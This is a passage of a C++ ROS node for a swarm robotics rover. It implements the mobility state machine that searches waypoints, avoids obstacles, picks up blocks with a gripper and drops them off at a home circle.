geometry_msgs::Pose2D centerLocationOdom;
// For calibrating where home is
struct caliData {
double posTheta, posX, posY;//angle, x, and y when tags were sighted
int count;//number of home
double avgX, avgY;
};
double startingAngle;
vector<caliData> caliVector;
//bool updateCaliVector = false;
double wrapAngle(double angle);
int currentMode = 0;
//int currentHomeTags = 0;
float mobilityLoopTimeStep = 0.1; // time between the mobility loop calls
float status_publish_interval = 1;
float killSwitchTimeout = 10;
double previousDifference = 0;
bool targetDetected = false;
bool targetCollected = false;
float heartbeat_publish_interval = 2;
// Set true when the target block is less than targetDist so we continue
// attempting to pick it up rather than switching to another block in view.
bool lockTarget = false;
// Failsafe state. No legitimate behavior state. If in this state for too long
// return to searching as default behavior.
bool timeOut = false;
// Set to true when the center ultrasound reads less than 0.14m. Usually means
// a picked up cube is in the way.
bool blockBlock = false;
// central collection point has been seen (aka the nest)
bool centerSeen = false;
// Set true when we are insie the center circle and we need to drop the block,
// back out, and reset the boolean cascade.
bool reachedCollectionPoint = false;
// used for calling code once but not in main
bool init = false;
// used to remember place in mapAverage array
int mapCount = 0;
// How many points to use in calculating the map average position
const unsigned int mapHistorySize = 500;
//const unsigned int movingAverageHistorySize = 5;
// An array in which to store map positions
geometry_msgs::Pose2D mapLocation[mapHistorySize];
//geometry_msgs::Pose2D poseHistory[movingAverageHistorySize];
bool avoidingObstacle = false;
bool divertingFromSearchPath = false;
float searchVelocity = 0.2; // meters/second
// New variables for improved obstacle avoidance and pickup of targets while keeping with waypoint based search
bool obstacleEncountered = false;
bool targetEncountered = false;
geometry_msgs::Pose2D divergentLocation;
geometry_msgs::Pose2D targetDivergentLocation;
geometry_msgs::Pose2D obstacleDivergentLocation;
//divergentLocation.x = 1000; // we don't want this to be set to 0 initially because our first goal location after pickup is 0.
//divergentLocation.y = 1000;
std_msgs::String msg;
// state machine states
#define STATE_MACHINE_TRANSFORM 0
#define STATE_MACHINE_ROTATE 1
#define STATE_MACHINE_SKID_STEER 2
#define STATE_MACHINE_PICKUP 3
#define STATE_MACHINE_DROPOFF 4
#define STATE_MACHINE_CALIBRATION 5
#define STATE_MACHINE_INIT 6
#define STATE_MACHINE_GO_TO_WAYPOINT 7
#define STATE_MACHINE_PICKUP_TARGET 8
#define STATE_MACHINE_GO_HOME 9
#define STATE_MACHINE_DROPOFF_TARGET 10
#define STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT 11
//#define STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT 13
#define STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT 12
int stateMachineState = STATE_MACHINE_GO_TO_WAYPOINT;
int stateMachinePreviousState = STATE_MACHINE_INIT;
geometry_msgs::Twist velocity;
char host[128];
string publishedName;
char prev_state_machine[128];
// Publishers
ros::Publisher stateMachinePublish;
ros::Publisher status_publisher;
ros::Publisher fingerAnglePublish;
ros::Publisher wristAnglePublish;
ros::Publisher infoLogPublisher;
ros::Publisher driveControlPublish;
ros::Publisher namePublish;
ros::Publisher debugPublish;
ros::Publisher heartbeatPublisher;
ros::Publisher goalLocationPublish;
ros::Publisher currentLocationPublish;
ros::Publisher rotationalErrorPublish;
ros::Publisher translationalErrorPublish;
ros::Publisher translationalVelocityPublish;
ros::Publisher rotationalVelocityPublish;
ros::Publisher wrapAngleDifferencePublish;
ros::Publisher pickupCommandPublish;
ros::Publisher stackSizePublish;
ros::Publisher stackDebugPublish;
ros::Publisher obstacleHandlerPublish;
// Subscribers
ros::Subscriber joySubscriber;
ros::Subscriber modeSubscriber;
ros::Subscriber targetSubscriber;
ros::Subscriber obstacleSubscriber;
ros::Subscriber odometrySubscriber;
ros::Subscriber mapSubscriber;
ros::Subscriber nameSubscriber;
//ros::Subscriber leaderElectionSubscriber;
// Timers
ros::Timer stateMachineTimer;
ros::Timer publish_status_timer;
ros::Timer targetDetectedTimer;
ros::Timer publish_heartbeat_timer;
// records time for delays in sequanced actions, 1 second resolution.
time_t timerStartTime;
// An initial delay to allow the rover to gather enough position data to
// average its location.
unsigned int startDelayInSeconds = 1;
float timerTimeElapsed = 0;
time_t timeOfLastObstacle;
//float timeSinceLastObstacle = 0;
int consecutiveObstacleDetections = 0;
const unsigned int OBSTACLE_TIME_THRESHOLD = 1;
const unsigned int CONSECUTIVE_OBSTACLE_THRESHOLD = 5;
const float HOME_RADIUS = 1.0; // Really it is sqrt(0.5) but I want to add a little margin to account for GPS errors.
//Transforms
tf::TransformListener *tfListener;
// OS Signal Handler
void sigintEventHandler(int signal);
//Callback handlers
void joyCmdHandler(const sensor_msgs::Joy::ConstPtr& message);
void modeHandler(const std_msgs::UInt8::ConstPtr& message);
void targetHandler(const apriltags_ros::AprilTagDetectionArray::ConstPtr& tagInfo);
void obstacleHandler(const std_msgs::UInt8::ConstPtr& message);
void odometryHandler(const nav_msgs::Odometry::ConstPtr& message);
void mapHandler(const nav_msgs::Odometry::ConstPtr& message);
void mobilityStateMachine(const ros::TimerEvent&);
void publishStatusTimerEventHandler(const ros::TimerEvent& event);
void targetDetectedReset(const ros::TimerEvent& event);
void publishHeartBeatTimerEventHandler(const ros::TimerEvent& event);
double getRotationalVelocity();
double getRotationalError();
double getTranslationalVelocity();
double getTranslationalError();
bool compareLocations(geometry_msgs::Pose2D locationOne, geometry_msgs::Pose2D locationTwo, double threshold);
int main(int argc, char **argv) {
gethostname(host, sizeof (host));
string hostname(host);
// instantiate random number generator
rng = new random_numbers::RandomNumberGenerator();
centerLocation.x = 0;
centerLocation.y = 0;
centerLocationOdom.x = 0;
centerLocationOdom.y = 0;
for (int i = 0; i < 100; i++) {
mapLocation[i].x = 0;
mapLocation[i].y = 0;
mapLocation[i].theta = 0;
}
if (argc >= 2) {
publishedName = argv[1];
cout << "Welcome to the world of tomorrow " << publishedName
<< "! Mobility turnDirectionule started." << endl;
} else {
publishedName = hostname;
cout << "No Name Selected. Default is: " << publishedName << endl;
}
// searchController.setStack(publishedName); Don't set stack. All waypoints will be random for final competition.
// //set initial random heading
// goalLocation.theta = rng->uniformReal(0, 2 * M_PI); //goalLocation.theta = atan2(goalLocation.y,goalLocation.x);
// //select initial search position 50 cm from center (0,0)
// goalLocation.x = 0.5 * cos(goalLocation.theta+M_PI); //goalLocation.x = 5.0;
// goalLocation.y = 0.5 * sin(goalLocation.theta+M_PI); //goalLocation.y = -5.0;
//set goal locations based on waypoints for bots
//goalLocation.x = SearchController::waypoints_x2_final[0];
//goalLocation.y = SearchController::waypoints_y2_final[0];
//goalLocation.theta = atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x);
//goalLocation = searchController.waypointNextLocation(currentLocation, publishedName);
// NoSignalHandler so we can catch SIGINT ourselves and shutdown the node
ros::init(argc, argv, (publishedName + "_MOBILITY"), ros::init_options::NoSigintHandler);
ros::NodeHandle mNH;
// Register the SIGINT event handler so the node can shutdown properly
signal(SIGINT, sigintEventHandler);
joySubscriber = mNH.subscribe((publishedName + "/joystick"), 10, joyCmdHandler);
modeSubscriber = mNH.subscribe((publishedName + "/mode"), 1, modeHandler);
targetSubscriber = mNH.subscribe((publishedName + "/targets"), 10, targetHandler);
obstacleSubscriber = mNH.subscribe((publishedName + "/obstacle"), 10, obstacleHandler);
odometrySubscriber = mNH.subscribe((publishedName + "/odom/filtered"), 10, odometryHandler);
mapSubscriber = mNH.subscribe((publishedName + "/odom/ekf"), 10, mapHandler);
status_publisher = mNH.advertise<std_msgs::String>((publishedName + "/status"), 1, true);
stateMachinePublish = mNH.advertise<std_msgs::String>((publishedName + "/state_machine"), 1, true);
fingerAnglePublish = mNH.advertise<std_msgs::Float32>((publishedName + "/fingerAngle/cmd"), 1, true);
wristAnglePublish = mNH.advertise<std_msgs::Float32>((publishedName + "/wristAngle/cmd"), 1, true);
infoLogPublisher = mNH.advertise<std_msgs::String>("/infoLog", 1, true);
driveControlPublish = mNH.advertise<geometry_msgs::Twist>((publishedName + "/driveControl"), 10);
goalLocationPublish = mNH.advertise<std_msgs::String>((publishedName + "/goalLocation"),1,true);
currentLocationPublish = mNH.advertise<std_msgs::String>((publishedName + "/currentLocation"),1,true);
pickupCommandPublish = mNH.advertise<std_msgs::String>((publishedName + "/pickupCommand"),1,true);
rotationalErrorPublish = mNH.advertise<std_msgs::Float32>((publishedName + "/ourData/rotError"), 1, true);
rotationalVelocityPublish = mNH.advertise<std_msgs::Float32>((publishedName + "/ourData/rotVel"), 1, true);
translationalErrorPublish = mNH.advertise<std_msgs::Float32>((publishedName + "/ourData/translateError"), 1, true);
translationalVelocityPublish = mNH.advertise<std_msgs::Float32>((publishedName + "/ourData/translateVel"), 1, true);
wrapAngleDifferencePublish = mNH.advertise<std_msgs::Float32>((publishedName + "/ourData/wrapAngle"),1,true);
heartbeatPublisher = mNH.advertise<std_msgs::String>((publishedName + "/mobility/heartbeat"), 1, true);
obstacleHandlerPublish = mNH.advertise<std_msgs::String>((publishedName + "/obstacleHandler"), 1, true);
publish_status_timer = mNH.createTimer(ros::Duration(status_publish_interval), publishStatusTimerEventHandler);
stateMachineTimer = mNH.createTimer(ros::Duration(mobilityLoopTimeStep), mobilityStateMachine);
targetDetectedTimer = mNH.createTimer(ros::Duration(0), targetDetectedReset, true);
stackSizePublish = mNH.advertise<std_msgs::String>((publishedName + "/stackSize"), 1, true);
stackDebugPublish = mNH.advertise<std_msgs::String>((publishedName + "/stackDebug"), 1, true);
publish_heartbeat_timer = mNH.createTimer(ros::Duration(heartbeat_publish_interval), publishHeartBeatTimerEventHandler);
tfListener = new tf::TransformListener();
std_msgs::String msg;
msg.data = "Log Started";
infoLogPublisher.publish(msg);
stringstream ss;
ss << "Rover start delay set to " << startDelayInSeconds << " seconds";
msg.data = ss.str();
infoLogPublisher.publish(msg);
timerStartTime = time(0);
ros::spin();
return EXIT_SUCCESS;
}
// This is the top-most logic control block organised as a state machine.
// This function calls the dropOff, pickUp, and search controllers.
// This block passes the goal location to the proportional-integral-derivative
// controllers in the abridge package.
void mobilityStateMachine(const ros::TimerEvent&) {
// std_msgs::String stackSizeMsg;
// std::ostringstream ss2;
// ss2 << "stack size: " << searchController.getStackSize();
// stackSizeMsg.data = ss2.str();
// stackSizePublish.publish(stackSizeMsg);
std_msgs::String stateMachineMsg;
std_msgs::String currentLocationMsg;
std_msgs::String pickupCommandMsg;
float rotateOnlyAngleTolerance = 0.4; // was 0.4
int returnToSearchDelay = 5;
double waypointDistanceTheshold = 0.1;
// calls the averaging function, also responsible for
// transform from Map frame to odom frame.
mapAverage();
// Robot is in automode
if (currentMode == 2 || currentMode == 3) {
// time since timerStartTime was set to current time
timerTimeElapsed = time(0) - timerStartTime;
// init code goes here. (code that runs only once at start of
// auto mode but wont work in main goes here)
if (!init) {
if (timerTimeElapsed > startDelayInSeconds) {
// Set the location of the center circle location in the map
// frame based upon our current average location on the map.
sendDriveCommand(0.2, 0.0);
centerLocationMap.x = currentLocationAverage.x;
centerLocationMap.y = currentLocationAverage.y;
centerLocationMap.theta = currentLocationAverage.theta;
startingAngle = currentLocation.theta;
currentLocationMovingAvgOld.x = currentLocationAverage.x;
currentLocationMovingAvgOld.y = currentLocationAverage.y;
previousDifference = wrapAngle( currentLocation.theta - startingAngle);
// goalLocation = searchController.peekWaypoint(currentLocation);
goalLocation = searchController.search(currentLocation);
goalLocation.theta = atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x);
// initialization has run
init = true;
} else {
return;
}
}
// If no collected or detected blocks set fingers
// to open wide and raised position.
if (!targetCollected && !targetDetected) {
// set gripper
std_msgs::Float32 angle;
// open fingers
angle.data = M_PI_2;
fingerAnglePublish.publish(angle);
angle.data = 0;
// raise wrist
wristAnglePublish.publish(angle);
}
// We want to publish our current location every loop iteration of the mobility state machine.
std::ostringstream ssCL;
ssCL<< "currentLocation: "<<currentLocation.x<<", "<<currentLocation.y<<", "<<currentLocation.theta;
currentLocationMsg.data = ssCL.str();
currentLocationPublish.publish(currentLocationMsg);
std_msgs::String goalLocationMsg;
std::ostringstream ss;
ss<< "goalLocation: "<<goalLocation.x<<", "<<goalLocation.y<<", "<<goalLocation.theta;
goalLocationMsg.data = ss.str();
goalLocationPublish.publish(goalLocationMsg);
vectorToCenter.x = currentLocation.x - centerLocationOdom.x;
vectorToCenter.y = currentLocation.y - centerLocationOdom.y;
if (time(0)-timeOfLastObstacle>OBSTACLE_TIME_THRESHOLD)
{
consecutiveObstacleDetections = 0;
}
else if (consecutiveObstacleDetections >= CONSECUTIVE_OBSTACLE_THRESHOLD)
{
obstacleEncountered = true;
avoidingObstacle = true; // not sure what this does, but I think we need it here.
}
std_msgs::String obstacleHandlerMsg;
std::ostringstream ssOH;
ssOH<< "consecutiveDetections: "<<consecutiveObstacleDetections<<", "<<"timeSinceLastObstacle"<<", "<<time(0)-timeOfLastObstacle<<", "<<"obstacleEncountered, "<<obstacleEncountered;
obstacleHandlerMsg.data = ssOH.str();
obstacleHandlerPublish.publish(obstacleHandlerMsg);
// Select rotation or translation based on required adjustment
switch(stateMachineState) {
case STATE_MACHINE_INIT:
{
stateMachineMsg.data = "INIT";
// goalLocation = searchController.peekWaypoint(currentLocation);
goalLocation = searchController.search(currentLocation);
goalLocation.theta = atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x);
pidController.resetTranslationalIntegrator();
stateMachineState = STATE_MACHINE_GO_TO_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_INIT;
break;
}
case STATE_MACHINE_GO_TO_WAYPOINT:
{
stateMachineMsg.data = "GO TO WAYPOINT";
if(obstacleEncountered)
{
// if (!divertingFromSearchPath)
// {
// obstacleDivergentLocation = currentLocation;
// divertingFromSearchPath = true;
// }
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_GO_TO_WAYPOINT;
break;
}
else if(targetEncountered)
{
if (!divertingFromSearchPath)
{
targetDivergentLocation = currentLocation;
divertingFromSearchPath = true;
}
stateMachineState = STATE_MACHINE_PICKUP_TARGET;
stateMachinePreviousState = STATE_MACHINE_GO_TO_WAYPOINT;
break;
}
else
{
// Calculate the diffrence between current and desired heading in radians.
float errorYaw = getRotationalError(); // If angle > 0.4 radians rotate but dont drive forward.
float linearVelocity = getTranslationalVelocity();
if (fabs(errorYaw) > rotateOnlyAngleTolerance) {
// rotate but dont drive 0.05 is to prevent turning in reverse
sendDriveCommand(0.05, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_WAYPOINT;
break;
} else {
// move to differential drive step
if (!compareLocations(goalLocation,currentLocation,0.25)){
// drive and turn simultaniously
sendDriveCommand(linearVelocity, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_WAYPOINT;
}
else
{
// stop
sendDriveCommand(0.0, 0.0);
// searchController.popWaypoint(currentLocation); // We made it to our waypoint, so pop.
stateMachineState = STATE_MACHINE_INIT;
stateMachinePreviousState = STATE_MACHINE_GO_TO_WAYPOINT;
}
break;
}
}
}
case STATE_MACHINE_PICKUP_TARGET:
{
stateMachineMsg.data = "PICKUP TARGET";
if(obstacleEncountered)
{
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_PICKUP_TARGET;
pidController.resetTranslationalIntegrator();
break;
}
else
{
PickUpResult result;
// we see a block and have not picked one up yet
if (targetDetected && !targetCollected) {
result = pickUpController.pickUpSelectedTarget(blockBlock);
sendDriveCommand(result.cmdVel,result.angleError);
std_msgs::Float32 angle;
if (result.fingerAngle != -1) {
angle.data = result.fingerAngle;
fingerAnglePublish.publish(angle);
}
if (result.wristAngle != -1) {
angle.data = result.wristAngle;
// raise wrist
wristAnglePublish.publish(angle);
}
if (result.giveUp) {
targetDetected = false;
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;// I think this is where we give up and we should go back to waypoints again.
pidController.resetTranslationalIntegrator();
sendDriveCommand(0.0,0);
pickUpController.reset();
}
if (result.pickedUp) {
pickUpController.reset();
// assume target has been picked up by gripper
targetCollected = true;
result.pickedUp = false;
stateMachineState = STATE_MACHINE_GO_HOME;
pidController.resetTranslationalIntegrator();
targetEncountered = true;
// lower wrist to avoid ultrasound sensors
std_msgs::Float32 angle;
angle.data = 0.8;
wristAnglePublish.publish(angle);
sendDriveCommand(0.0,0);
return;
}
}
else
{
stateMachineState = stateMachinePreviousState;
targetEncountered = false;
}
break;
}
}
case STATE_MACHINE_GO_HOME:
{
stateMachineMsg.data = "GO HOME";
if(obstacleEncountered)
{
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_GO_HOME;
break;
pidController.resetTranslationalIntegrator();
}
else
{
if (!centerSeen)
{
// set center as goal position
goalLocation.x = centerLocationOdom.x;// = 0;
goalLocation.y = centerLocationOdom.y;
goalLocation.theta = atan2(centerLocationOdom.y - currentLocation.y, centerLocationOdom.x - currentLocation.x);
// goalLocation.x = 0.0;
// goalLocation.y = 0.0;
// goalLocation.theta = atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x);
// Calculate the diffrence between current and desired heading in radians.
float errorYaw = getRotationalError(); // If angle > 0.4 radians rotate but dont drive forward.
float linearVelocity = getTranslationalVelocity();
if (false){// This is just to test if something in rotate state is causing crash. (fabs(errorYaw) > rotateOnlyAngleTolerance) {
// // rotate but dont drive 0.05 is to prevent turning in reverse
// sendDriveCommand(0.05, errorYaw/2);
// stateMachineState = STATE_MACHINE_GO_HOME;
// break;
} else {
// move to differential drive step
if (!compareLocations(goalLocation,currentLocation,0.2)){
// drive and turn simultaniously
sendDriveCommand(linearVelocity, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_HOME;
}
else
{
// stop
sendDriveCommand(0.0, 0.0);
stateMachineState = STATE_MACHINE_DROPOFF_TARGET;
}
break;
}
}
else
{
sendDriveCommand(0.0, 0.0);
stateMachineState = STATE_MACHINE_DROPOFF_TARGET;
break;
}
}
}
case STATE_MACHINE_DROPOFF_TARGET:
{
stateMachineMsg.data = "DROPOFF TARGET";
if(obstacleEncountered)
{
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_DROPOFF_TARGET;
pidController.resetTranslationalIntegrator();
break;
}
else
{
// If returning with a target
if (targetCollected && !avoidingObstacle) {
// calculate the euclidean distance between
// centerLocation and currentLocation
dropOffController.setCenterDist(hypot(centerLocation.x - currentLocation.x, centerLocation.y - currentLocation.y));
dropOffController.setDataLocations(centerLocation, currentLocation, timerTimeElapsed);
DropOffResult result = dropOffController.getState();
if (result.timer) {
timerStartTime = time(0);
reachedCollectionPoint = true;
}
std_msgs::Float32 angle;
if (result.fingerAngle != -1) {
angle.data = result.fingerAngle;
fingerAnglePublish.publish(angle);
}
if (result.wristAngle != -1) {
angle.data = result.wristAngle;
wristAnglePublish.publish(angle);
}
if (result.reset) {
// We enter this block when the target is dropped off at the base.
timerStartTime = time(0);
targetCollected = false;
targetDetected = false;
lockTarget = false;
centerLocationOdom = currentLocation;
centerLocationOdom.x = currentLocation.x + 0.5*cos(currentLocation.theta);
centerLocationOdom.y = currentLocation.y + 0.5*sin(currentLocation.theta);
sendDriveCommand(-0.3,0); // added to get robot to backup before turning around.
targetEncountered = false;
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;// I think this is where we give up and we should go back to waypoints again.
pidController.resetTranslationalIntegrator();
reachedCollectionPoint = false;
dropOffController.reset();
break;
} else if (result.goalDriving && timerTimeElapsed >= 5 ) {
goalLocation = result.centerGoal;
stateMachineState = STATE_MACHINE_GO_HOME;
pidController.resetTranslationalIntegrator();
centerSeen = false; // This prevents us from coming back to dropoff immediately after transitioning to GO_HOME.
timerStartTime = time(0);
break;
}
// we are in precision/timed driving
else {
// goalLocation = currentLocation; // This is misleading since we aren't actually driving toward the goalLocation.
sendDriveCommand(result.cmdVel,result.angleError);
stateMachineState = STATE_MACHINE_DROPOFF_TARGET;
break;
}
}
else
{
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;// I think this is where we give up and we should go back to waypoints again.
}
}
}
// case STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT:
// {
// stateMachineMsg.data = "OBSTACLE DIVERGENT WAYPOINT";
// if(targetEncountered)
// {
// stateMachineState = STATE_MACHINE_PICKUP_TARGET;
// stateMachinePreviousState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// pidController.resetTranslationalIntegrator();
// break;
// }
// else if (obstacleEncountered)
// {
// stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
// stateMachinePreviousState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// pidController.resetTranslationalIntegrator();
// break;
// }
// else
// {
// goalLocation = obstacleDivergentLocation;
// // Calculate the diffrence between current and desired heading in radians.
// float errorYaw = getRotationalError(); // If angle > 0.4 radians rotate but dont drive forward.
// float linearVelocity = getTranslationalVelocity();
// if (fabs(errorYaw) > rotateOnlyAngleTolerance) {
// // rotate but dont drive 0.05 is to prevent turning in reverse
// sendDriveCommand(0.05, errorYaw/2);
// stateMachineState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// break;
// } else {
// // move to differential drive step
// if (!compareLocations(goalLocation,currentLocation,0.2)){
// // drive and turn simultaniously
// sendDriveCommand(linearVelocity, errorYaw/2);
// stateMachineState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// }
// else
// {
// // stop
// sendDriveCommand(0.0, 0.0);
// divertingFromSearchPath = false;
// stateMachineState = STATE_MACHINE_INIT;
// stateMachinePreviousState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// if((sqrt(currentLocation.x*currentLocation.x + currentLocation.y*currentLocation.y)>6) && (sqrt(goalLocation.x*goalLocation.x + goalLocation.y*goalLocation.y)>6)) // Why 6? I don't know if we are in prelim or finals. TODO.
// {
// searchController.popWaypoint(currentLocation); // This is if our waypoint is too close to wall.
// }
// }
// break;
// }
// }
// }
case STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT:
{
stateMachineMsg.data = "AVOIDING OSTACLE";
goalLocation = alternativeLocation; // Make new goal location a new point away from obstacle. alternativeLocation is set in Obstacle Handler.
// Calculate the diffrence between current and desired heading in radians.
float errorYaw = getRotationalError(); // If angle > 0.4 radians rotate but dont drive forward.
float linearVelocity = getTranslationalVelocity();
if (fabs(errorYaw) > rotateOnlyAngleTolerance) {
// rotate but dont drive 0.05 is to prevent turning in reverse
sendDriveCommand(0.05, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
break;
} else {
// move to differential drive step
if (!compareLocations(goalLocation,currentLocation,0.25)){
// drive and turn simultaniously
sendDriveCommand(linearVelocity, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
}
else
{
// stop
sendDriveCommand(0.0, 0.0);
avoidingObstacle = false;
obstacleEncountered = false;
if (stateMachinePreviousState == STATE_MACHINE_GO_TO_WAYPOINT)
{
// stateMachineState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
stateMachineState = STATE_MACHINE_INIT;
pidController.resetTranslationalIntegrator();
}
else if (stateMachinePreviousState == STATE_MACHINE_PICKUP_TARGET)
{
stateMachineState = STATE_MACHINE_PICKUP_TARGET;
}
else if (stateMachinePreviousState == STATE_MACHINE_GO_HOME)
{
stateMachineState = STATE_MACHINE_GO_HOME;
pidController.resetTranslationalIntegrator();
}
else if (stateMachinePreviousState == STATE_MACHINE_DROPOFF_TARGET)
{
if(targetCollected)
{
stateMachineState = STATE_MACHINE_GO_HOME; // This is intentional. If you set this to Dropoff the rover will just drop the target outside the collection zone.
centerSeen = false; // Also need this to keep the rover from dropping the target as soon as you enter the GO_HOME state.
reachedCollectionPoint = false;
pidController.resetTranslationalIntegrator();
}
else
{
stateMachineState = STATE_MACHINE_DROPOFF; // if we have already placed the target then DROPOFF state will handle tansitioning to next action.
}
}
else if (stateMachinePreviousState == STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT)
{
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
pidController.resetTranslationalIntegrator();
}
// else if (stateMachinePreviousState == STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT)
// {
// stateMachineState = STATE_MACHINE_GO_TO_OBSTACLE_DIVERGENT_WAYPOINT;
// pidController.resetTranslationalIntegrator();
// }
else
{
// stateMachineState = 911;
stateMachineState = STATE_MACHINE_INIT;
}
stateMachinePreviousState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
}
break;
}
}
case STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT:
{
stateMachineMsg.data = "TARGET DIVERGENT WAYPOINT";
if(obstacleEncountered)
{
stateMachineState = STATE_MACHINE_GO_TO_ALTERNATIVE_WAYPOINT;
stateMachinePreviousState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
pidController.resetTranslationalIntegrator();
break;
}
else if(targetEncountered)
{
stateMachineState = STATE_MACHINE_PICKUP_TARGET;
stateMachinePreviousState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
pidController.resetTranslationalIntegrator();
break;
}
else
{
if(sqrt(vectorToCenter.x*vectorToCenter.x + vectorToCenter.y*vectorToCenter.y)<=HOME_RADIUS) // We are too close to the home circle.
{
double newTheta = atan2(currentLocation.y, currentLocation.x); // Find the nearest direction out of the circle.
goalLocation.x = 1.5*HOME_RADIUS*cos(newTheta); // We just want to get out of the home circle so get out of there. 1.5 is to just add some extra space.
goalLocation.y = 1.5*HOME_RADIUS*sin(newTheta);
}
else
{
bool invalidWaypoint = true;
int retryCounter = 0;
while(invalidWaypoint)
{
float tDL = atan2(targetDivergentLocation.y - currentLocation.y, targetDivergentLocation.x - currentLocation.x);
float distToWaypoint = hypot(targetDivergentLocation.x - currentLocation.x, targetDivergentLocation.y - currentLocation.y);
goalLocation.x = currentLocation.x + distToWaypoint*cos(tDL+retryCounter*0.0872665);
goalLocation.y = currentLocation.y + distToWaypoint*sin(tDL+retryCounter*0.0872665); // 5 degrees is 0.0872665 radians. 5 degree choice is arbitrary. Just want to rotate a little and check.
goalLocation.theta = atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x);
if(!searchController.waypointIntersectsHome(vectorToCenter, goalLocation) || (retryCounter > 10))
{
invalidWaypoint = false;
}
retryCounter++;
}
}
// Calculate the diffrence between current and desired heading in radians.
float errorYaw = getRotationalError(); // If angle > 0.4 radians rotate but dont drive forward.
float linearVelocity = getTranslationalVelocity();
if (fabs(errorYaw) > rotateOnlyAngleTolerance) {
// rotate but dont drive 0.05 is to prevent turning in reverse
sendDriveCommand(0.05, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
break;
} else {
// move to differential drive step
if (!compareLocations(goalLocation,currentLocation,0.2)){
// drive and turn simultaniously
sendDriveCommand(linearVelocity, errorYaw/2);
stateMachineState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
}
else
{
// stop
sendDriveCommand(0.0, 0.0);
divertingFromSearchPath = false;
stateMachineState = STATE_MACHINE_INIT;
stateMachinePreviousState = STATE_MACHINE_GO_TO_TARGET_DIVERGENT_WAYPOINT;
}
break;
}
}
}
default:
{
stateMachineMsg.data = "DEFAULT HIT";
break;
}
} /* end of switch() */
}
// mode is NOT auto
else {
// publish current state for the operator to see
stateMachineMsg.data = "WAITING";
sendDriveCommand(0.0, 0.0);
}
// publish state machine string for user, only if it has changed, though
// if (strcmp(stateMachineMsg.data.c_str(), prev_state_machine) != 0) {
stateMachinePublish.publish(stateMachineMsg);
// sprintf(prev_state_machine, "%s", stateMachineMsg.data.c_str());
// }
}
double wrapAngle( double angle )
{
double twoPi = 2.0 * M_PI;
return angle - twoPi * floor( angle / twoPi );
}
double getRotationalError()
{
double rotationalError = angles::shortest_angular_distance(currentLocation.theta, atan2(goalLocation.y - currentLocation.y, goalLocation.x - currentLocation.x)); // no abs on this error.
// std_msgs::Float32 rErrorMsg;
// rErrorMsg.data = rotationalError;
// rotationalErrorPublish.publish(rErrorMsg);
return rotationalError;
}
double getTranslationalError()
{
double translationalError = hypot(goalLocation.x - currentLocation.x, goalLocation.y - currentLocation.y);
// std_msgs::Float32 tErrorMsg;
// tErrorMsg.data = translationalError;
// translationalErrorPublish.publish(tErrorMsg);
return translationalError;
}
bool compareLocations(geometry_msgs::Pose2D locationOne, geometry_msgs::Pose2D locationTwo, double threshold)
{
return (abs(locationOne.x-locationTwo.x)<threshold)&&(abs(locationOne.y-locationTwo.y)<threshold);
}
double getTranslationalVelocity()
{
double translationalVelocity = pidController.calculateTranslationalVelocity(currentLocation,goalLocation);
// std_msgs::Float32 tVelocityMsg;
// tVelocityMsg.data = translationalVelocity;
// translationalVelocityPublish.publish(tVelocityMsg);
return translationalVelocity;
}
void sendDriveCommand(double linearVel, double angularError)
{
velocity.linear.x = linearVel,
velocity.angular.z = angularError;
// publish the drive commands
driveControlPublish.publish(velocity);
}
/*************************
* ROS CALLBACK HANDLERS *
*************************/
//void idHandler(const std_msgs::String::ConstPtr& message) {
// if(swarmSize > maxSwarmSize) {
// return;
// }
// int insert_idx = swarmSize - 1;
// string name = message->data;
// for(size_t i = 0; i < swarmSize; i++) {
// if(memberNames[i] == name) {
// return;
// }
